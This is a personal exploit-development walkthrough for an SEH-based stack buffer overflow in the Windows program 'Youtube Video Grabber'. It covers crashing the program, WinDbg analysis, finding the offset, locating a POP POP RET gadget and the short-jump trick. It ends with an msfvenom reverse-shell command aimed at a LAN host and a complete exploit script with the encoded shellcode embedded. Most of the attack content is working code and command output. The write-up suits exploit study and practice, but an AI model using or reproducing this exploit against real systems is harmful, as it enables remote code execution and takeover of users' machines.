After a long time, I am again practicing how to exploit stack based buffer overflow. This post is just a quick note that how to exploit a simple SEH based overflow. The existing exploit can be found at https://www.exploit-db.com/exploits/50471
Application Download Link: https://www.exploit-db.com/apps/762256b7bcc2d7d47a394a52f522b16b-ytgrabber.exe
Crash the Application
POC Code:
buffer = "A"* 9000
createFile = open('testing.txt',"w")
createFile.write(buffer)
createFile.close()
Start Youtube Video Grabber
and attach in windbg:
Open testing.txt
, copy the content, click on Enter code
button, and paste into Username and Serial number field:
When it crashes, let’s windbg continue with g
command and now eip is AAAA
0:000> dt _EXCEPTION_REGISTRATION_RECORD
ntdll!_EXCEPTION_REGISTRATION_RECORD
+0x000 Next : Ptr32 _EXCEPTION_REGISTRATION_RECORD
+0x004 Handler : Ptr32 _EXCEPTION_DISPOSITION
0:000> !teb
TEB at 0031d000
ExceptionList: 0019c674
StackBase: 001a0000
StackLimit: 00184000
SubSystemTib: 00000000
FiberData: 00001e00
ArbitraryUserPointer: 00000000
Self: 0031d000
EnvironmentPointer: 00000000
ClientId: 00000df0 . 000021c0
RpcHandle: 00000000
Tls Storage: 02569770
PEB Address: 0031a000
LastErrorValue: 0
LastStatusValue: c0000034
Count Owned Locks: 0
HardErrorMode: 0
0:000> dt _EXCEPTION_REGISTRATION_RECORD 0019c674
ntdll!_EXCEPTION_REGISTRATION_RECORD
+0x000 Next : 0x0019d1ec _EXCEPTION_REGISTRATION_RECORD
+0x004 Handler : 0x77ed8900 _EXCEPTION_DISPOSITION ntdll!ExecuteHandler2+0
0:000> dt _EXCEPTION_REGISTRATION_RECORD 0x0019d1ec
ntdll!_EXCEPTION_REGISTRATION_RECORD
+0x000 Next : 0x41414141 _EXCEPTION_REGISTRATION_RECORD
+0x004 Handler : 0x41414141 _EXCEPTION_DISPOSITION +41414141
Yo, 0019d1ec
is the address of Exception handler and holding AAAA
:
0:000> !exchain
0019c674: ntdll!ExecuteHandler2+44 (77ed8900)
0019d1ec: 41414141
Invalid exception stack at 41414141
Examining a bit more, we see SEH and Next SEH is overwritten:
0:000> dt _EXCEPTION_REGISTRATION_RECORD 0019c674
ntdll!_EXCEPTION_REGISTRATION_RECORD
+0x000 Next : 0x0019d1ec _EXCEPTION_REGISTRATION_RECORD
+0x004 Handler : 0x77ed8900 _EXCEPTION_DISPOSITION ntdll!ExecuteHandler2+0
0:000> dt _EXCEPTION_REGISTRATION_RECORD 0019d1ec
ntdll!_EXCEPTION_REGISTRATION_RECORD
+0x000 Next : 0x41414141 _EXCEPTION_REGISTRATION_RECORD
+0x004 Handler : 0x41414141 _EXCEPTION_DISPOSITION +41414141
0:000> dd 0019d1ec
0019d1ec 41414141 41414141 41414141 41414141
0019d1fc 41414141 41414141 41414141 41414141
0019d20c 41414141 41414141 41414141 41414141
0019d21c 41414141 41414141 41414141 41414141
0019d22c 41414141 41414141 41414141 41414141
0019d23c 41414141 41414141 41414141 41414141
0019d24c 41414141 41414141 41414141 41414141
0019d25c 41414141 41414141 41414141 41414141
Getting exact offset
Generate pattern using msf pattern_create and paste into the username and serial number field:
msf-pattern_create -l 9000
When it crashes grab SEH value and use pattern_offset
to find the exact offset:
0:000> !exchain
0019cee4: mfc90!__sse2_available_init+2870 (7183634c)
0019d1ec: 39784138
Invalid exception stack at 78413778
┌──(kali㉿kali)-[~]
└─$ msf-pattern_offset -q 39784138
[*] Exact match at offset 716
Update script and make the application crash again:
junk = "A"* 716
exc = "BBBB"
shellcode="C"*(9000-len(junk))
buffer = junk+exc+shellcode
#
createFile = open('testing.txt',"w")
createFile.write(buffer)
createFile.close()
So Exception handler is controllable
Find POP POP RET
Narly: https://code.google.com/archive/p/narly/downloads
Load Narly:
0:000> .load C:\Users\DEVLOPEMENT\Downloads\narly_0.2\narly.dll
Load DLL from the applications:
lm m YTGDll
We can use this script(Found https://github.com/ancat/ppr-finder/blob/master/ppr-finder.wds):
.block
{
.if (not(${/d:$arg1}) | not(${/d:$arg2}))
{
.printf "Need to supply an address range\n"
.printf "Example: $$>a<c:\script.wds 0x00100000 0x001FF000\n"
}
.else {
r $t0 = $arg1
r $t1 = $arg2
.for (r $t2 = 58; $t2 <= 5f; r $t2 = $t2+1)
{
.for (r $t3 = 58; $t3 <= 5f; r $t3 = $t3+1)
{
s -b $t0 $t1 $t2 $t3 c3
.sleep 500
}
}
}
}
$$>a<C:\Users\DEVLOPEMENT\Desktop\Exloit\ppr.wds 00400000 02428000
Lot’s of usable p/p/r address found. I will use 01c5c123
Crash and verify:
0:000> !exchain
0019cee4: mfc90!__sse2_available_init+2870 (7183634c)
0019d1ec: YouTubeGrabber+185c123 (01c5c123)
Invalid exception stack at 41414141
0:000> dd 0019d1ec
0019d1ec 41414141 01c5c123 43434343 43434343
0019d1fc 43434343 43434343 43434343 43434343
0019d20c 43434343 43434343 43434343 43434343
0019d21c 43434343 43434343 43434343 43434343
0019d22c 43434343 43434343 43434343 43434343
0019d23c 43434343 43434343 43434343 43434343
0019d24c 43434343 43434343 43434343 43434343
0019d25c 43434343 43434343 43434343 43434343
Everything working fine.
Code Execution
Now We need to jump over SEH record where our shellcode reside. This is called short jump \xeb\x06\x90\x90
and this the value for Next SEH to jump over 6 bytes.
Before testing again let’s generate shellcode:
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.17 LPORT=1337 -f python -b "\x00\x0a\x0d\x20" EXITFUNC=thread -e x86/alpha_mixed
And the final working exploit script:
junk = b"A"* 712
buf = b""
buf += b"\x89\xe1\xd9\xc7\xd9\x71\xf4\x5e\x56\x59\x49\x49\x49"
buf += b"\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43"
buf += b"\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41"
buf += b"\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42"
buf += b"\x58\x50\x38\x41\x42\x75\x4a\x49\x4b\x4c\x38\x68\x6e"
buf += b"\x62\x73\x30\x57\x70\x73\x30\x31\x70\x4e\x69\x68\x65"
buf += b"\x75\x61\x6b\x70\x71\x74\x4c\x4b\x76\x30\x46\x50\x6e"
buf += b"\x6b\x42\x72\x46\x6c\x4e\x6b\x32\x72\x52\x34\x6e\x6b"
buf += b"\x30\x72\x66\x48\x64\x4f\x6f\x47\x61\x5a\x51\x36\x74"
buf += b"\x71\x59\x6f\x4e\x4c\x75\x6c\x75\x31\x43\x4c\x76\x62"
buf += b"\x64\x6c\x35\x70\x79\x51\x5a\x6f\x36\x6d\x33\x31\x39"
buf += b"\x57\x38\x62\x68\x72\x32\x72\x51\x47\x4e\x6b\x66\x32"
buf += b"\x42\x30\x4e\x6b\x33\x7a\x35\x6c\x4c\x4b\x30\x4c\x37"
buf += b"\x61\x73\x48\x78\x63\x51\x58\x55\x51\x78\x51\x76\x31"
buf += b"\x4e\x6b\x72\x79\x75\x70\x43\x31\x38\x53\x4e\x6b\x61"
buf += b"\x59\x42\x38\x58\x63\x45\x6a\x70\x49\x6e\x6b\x76\x54"
buf += b"\x4c\x4b\x76\x61\x5a\x76\x35\x61\x59\x6f\x4c\x6c\x39"
buf += b"\x51\x58\x4f\x76\x6d\x53\x31\x79\x57\x44\x78\x49\x70"
buf += b"\x64\x35\x6c\x36\x75\x53\x51\x6d\x68\x78\x45\x6b\x43"
buf += b"\x4d\x35\x74\x44\x35\x79\x74\x50\x58\x6e\x6b\x66\x38"
buf += b"\x67\x54\x67\x71\x69\x43\x33\x56\x4e\x6b\x76\x6c\x42"
buf += b"\x6b\x4c\x4b\x52\x78\x47\x6c\x73\x31\x69\x43\x6c\x4b"
buf += b"\x75\x54\x6c\x4b\x45\x51\x5a\x70\x4f\x79\x50\x44\x46"
buf += b"\x44\x44\x64\x31\x4b\x33\x6b\x43\x51\x31\x49\x70\x5a"
buf += b"\x42\x71\x49\x6f\x49\x70\x31\x4f\x71\x4f\x61\x4a\x4c"
buf += b"\x4b\x32\x32\x38\x6b\x4e\x6d\x61\x4d\x73\x58\x65\x63"
buf += b"\x35\x62\x43\x30\x73\x30\x50\x68\x31\x67\x30\x73\x36"
buf += b"\x52\x43\x6f\x31\x44\x45\x38\x42\x6c\x51\x67\x45\x76"
buf += b"\x63\x37\x79\x6f\x38\x55\x6c\x78\x7a\x30\x76\x61\x57"
buf += b"\x70\x53\x30\x57\x59\x79\x54\x70\x54\x32\x70\x31\x78"
buf += b"\x61\x39\x4b\x30\x42\x4b\x55\x50\x4b\x4f\x6b\x65\x36"
buf += b"\x30\x32\x70\x50\x50\x50\x50\x63\x70\x76\x30\x61\x50"
buf += b"\x42\x70\x32\x48\x6b\x5a\x56\x6f\x59\x4f\x4d\x30\x69"
buf += b"\x6f\x78\x55\x4d\x47\x71\x7a\x36\x65\x31\x78\x59\x50"
buf += b"\x4e\x48\x43\x31\x77\x61\x50\x68\x57\x72\x55\x50\x64"
buf += b"\x45\x56\x59\x4d\x59\x4d\x36\x32\x4a\x42\x30\x31\x46"
buf += b"\x71\x47\x50\x68\x6e\x79\x4d\x75\x51\x64\x33\x51\x39"
buf += b"\x6f\x49\x45\x4b\x35\x79\x50\x44\x34\x66\x6c\x69\x6f"
buf += b"\x52\x6e\x44\x48\x53\x45\x7a\x4c\x50\x68\x5a\x50\x6e"
buf += b"\x55\x6e\x42\x30\x56\x6b\x4f\x59\x45\x75\x38\x73\x53"
buf += b"\x30\x6d\x45\x34\x35\x50\x4f\x79\x48\x63\x63\x67\x56"
buf += b"\x37\x32\x77\x76\x51\x78\x76\x71\x7a\x66\x72\x32\x79"
buf += b"\x36\x36\x68\x62\x39\x6d\x43\x56\x6b\x77\x62\x64\x66"
buf += b"\x44\x65\x6c\x77\x71\x55\x51\x4e\x6d\x70\x44\x61\x34"
buf += b"\x56\x70\x48\x46\x67\x70\x71\x54\x36\x34\x66\x30\x32"
buf += b"\x76\x50\x56\x76\x36\x33\x76\x31\x46\x42\x6e\x63\x66"
buf += b"\x76\x36\x43\x63\x73\x66\x55\x38\x62\x59\x5a\x6c\x65"
buf += b"\x6f\x6f\x76\x6b\x4f\x7a\x75\x6c\x49\x6b\x50\x70\x4e"
buf += b"\x51\x46\x61\x56\x79\x6f\x46\x50\x30\x68\x54\x48\x6d"
buf += b"\x57\x55\x4d\x61\x70\x6b\x4f\x68\x55\x4f\x4b\x59\x70"
buf += b"\x45\x4d\x44\x6a\x67\x7a\x50\x68\x4f\x56\x6f\x65\x6d"
buf += b"\x6d\x4f\x6d\x49\x6f\x6b\x65\x77\x4c\x53\x36\x61\x6c"
buf += b"\x67\x7a\x6f\x70\x69\x6b\x69\x70\x32\x55\x55\x55\x6d"
buf += b"\x6b\x33\x77\x54\x53\x50\x72\x52\x4f\x42\x4a\x45\x50"
buf += b"\x56\x33\x49\x6f\x69\x45\x41\x41"
buffer = junk
buffer += b"\xeb\x06\x90\x90" #Next SEH
buffer += b"\x23\xc1\xc5\x01" #SEH
buffer +=buf
pad = b"C"*(9000-len(buffer))
createFile = open('testing.txt',"wb")
createFile.write(buffer+pad)
createFile.close()
There are lots of things to improve but still i Hope, this is somehow useful!